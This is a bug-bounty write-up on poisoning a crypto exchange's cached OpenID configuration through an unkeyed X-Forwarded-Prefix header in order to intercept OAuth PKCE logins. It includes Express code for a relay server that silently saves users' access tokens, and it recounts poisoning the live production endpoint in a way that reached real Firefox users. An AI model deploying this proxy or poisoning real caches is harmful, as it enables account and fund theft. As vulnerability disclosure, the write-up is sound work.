Contents

How we MITM'd a crypto exchange platform via cache poisoning

A friend of mine, 0xdln, reached out to me with a cache poisoning issue on an OpenID autoconfiguration endpoint - /.well-known/openid-configuration, on a public program on Bugcrowd, with which he was struggling to demonstrate an impact, so we decided to dig deeper.

Cache poisoning

So the website was using X-Forwarded-Prefix unkeyed header to append the header’s value to URLs in /.well-known/openid-configuration openID autoconfiguration endpoint.

/2026/03/how-we-mitmd-a-crypto-exchange-platform/poison.png
cache poisoning

And, it was being cached by Cloudflare, as it was not included in the cache key.

/2026/03/how-we-mitmd-a-crypto-exchange-platform/verify.png
confirming the poisoned cache

The question was: What can we do with this behavior?

Finding references

We started looking for references to see if the client apps use the autoconfiguration provided by the config file. We have set up a breakpoint in fetch calls for anything that contained openid-configuration.

/2026/03/how-we-mitmd-a-crypto-exchange-platform/breakpoint.png

And, sure enough, we saw a request being made to it.

/2026/03/how-we-mitmd-a-crypto-exchange-platform/fetch.png

And the callstack led to onAuthCallback confirming that it is being utilized for exchanging the code.

/2026/03/how-we-mitmd-a-crypto-exchange-platform/callstack.png

Now that we had the confidence that it was being used, we decided to create a flow where we could utilize the cache poisoning to steal users' tokens. But before moving forward with MiTMing process, let’s see where we can snoop in the OAuth2 flow.

OAuth2 flow

The website is utilizing OAuth2 authorization code flow with PKCE. Usually, the authorization code flow works as follows.

/2026/03/how-we-mitmd-a-crypto-exchange-platform/acgrant.png
https://blog.postman.com/pkce-oauth-how-to/

  1. User initiates login flow on the client application.
  2. Client application redirects to the authorization endpoint at the authorization Server.
  3. If the user is not yet authenticated, the user is redirected to the authentication server, logs in, and authorizes the application.
  4. The Authorization Server issues the authorization code and redirects the user to the client application.
  5. The client application backend makes a POST request to the token endpoint with the authorization code and client credentials.
  6. The Authorization Server validates the code and the credentials. It returns an access token to the application server.

Luckily, the client was using PKCE, which works as follows.

/2026/03/how-we-mitmd-a-crypto-exchange-platform/pkce.png
https://blog.postman.com/pkce-oauth-how-to/

As we can see, the client secret is not usually required to exchange the token (for public clients); instead, the client app generates a code verifier and a code challenge derived from it, which the authorization server later uses to verify the token exchange. This means we could sniff the code and exchange the code for an access token ourselves and remain completely invisible to the user.

MiTMing process

We have previously verified that the OpenID configuration endpoint was being fetched and processed by the client application. We have also verified that OAuth2 endpoints like authorization_endpoint, token_endpoint, and userinfo_endpoint were indeed being set by the poisoned configuration file.

/2026/03/how-we-mitmd-a-crypto-exchange-platform/c_endpoints.png
openid configuration endpoints

Now it was time to create a server that would:

  • Intercept the generated code challenge and state, and move it forward to the real authorization server,
  • The authorization server would then redirect the user with the code to the client,
  • The Client would then try to exchange the code with the server (token_endpoint) that is also set in the poisoned configuration file,
  • We would receive the code, exchange the code for a token ourselves, steal the token, but also give the access token back to the user to stay completely invisible.

To do that, we created a simple Express server.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
...
app.get("/authorize", (req, res) => {
  const params = new URLSearchParams(req.query);
  const upstreamURL = `https://example.com/authorize?${params.toString()}`;
  res.redirect(upstreamURL);
});

app.post("/token", async (req, res) => {
  const { body } = req;
  try {
    const upstream = await fetch("https://example.com/token", {
      method:  "POST",
      headers: { "Content-Type": "application/json" },
      body
    });
    const payload = await upstream.json();
    storage.save(payload);
    res.status(upstream.status).json(payload);
  } catch (err) {
    res.status(502).json({ error: "upstream_error", error_description: err.message });
  }
});

app.get("/userinfo", async (req, res) => {
  const authHeader = req.headers["authorization"];
  if (!authHeader) {
    return res.status(401).json({ error: "missing_token" });
  }
  try {
    const upstream = await fetch("https://example.com/userinfo", {
      headers: { Authorization: authHeader },
    });
    const payload = await upstream.json();
    res.status(upstream.status).json(payload);
  } catch (err) {
    res.status(502).json({ error: "upstream_error", error_description: err.message });
  }
});
...

But, as we had ethical intentions and did not want to actually steal anybody’s tokens, we showcased the impact by poisoning the configuration with a cache buster and verified it by a proxy match and replace rule.

/2026/03/how-we-mitmd-a-crypto-exchange-platform/matchandreplace.png
match and replace rule

This made the team wonder if it was actually possible to poison the main configuration endpoint, not the cache buster one. So we tried to safely poison in a way that the endpoints would point to the original server.

/2026/03/how-we-mitmd-a-crypto-exchange-platform/atpoison.png
safe poisoning attempt

However, Firefox users got a prompt asking them to confirm if they wanted to navigate to the website.

/2026/03/how-we-mitmd-a-crypto-exchange-platform/firefox_prompt.png
firefox prompt

Luckily, it did not raise a panic, and we were good to go.

TL;DR

To summarize the attack flow looked like the following:

/2026/03/how-we-mitmd-a-crypto-exchange-platform/diagram.svg
attack flow

Reporting and results

We submitted the report through Bugcrowd, and after a month and about 40 comments, we were finally able to get the issue triaged 😅.

/2026/03/how-we-mitmd-a-crypto-exchange-platform/bugcrowd.png

The program team was much quicker, however, and the issue was fixed within a day after confirmation.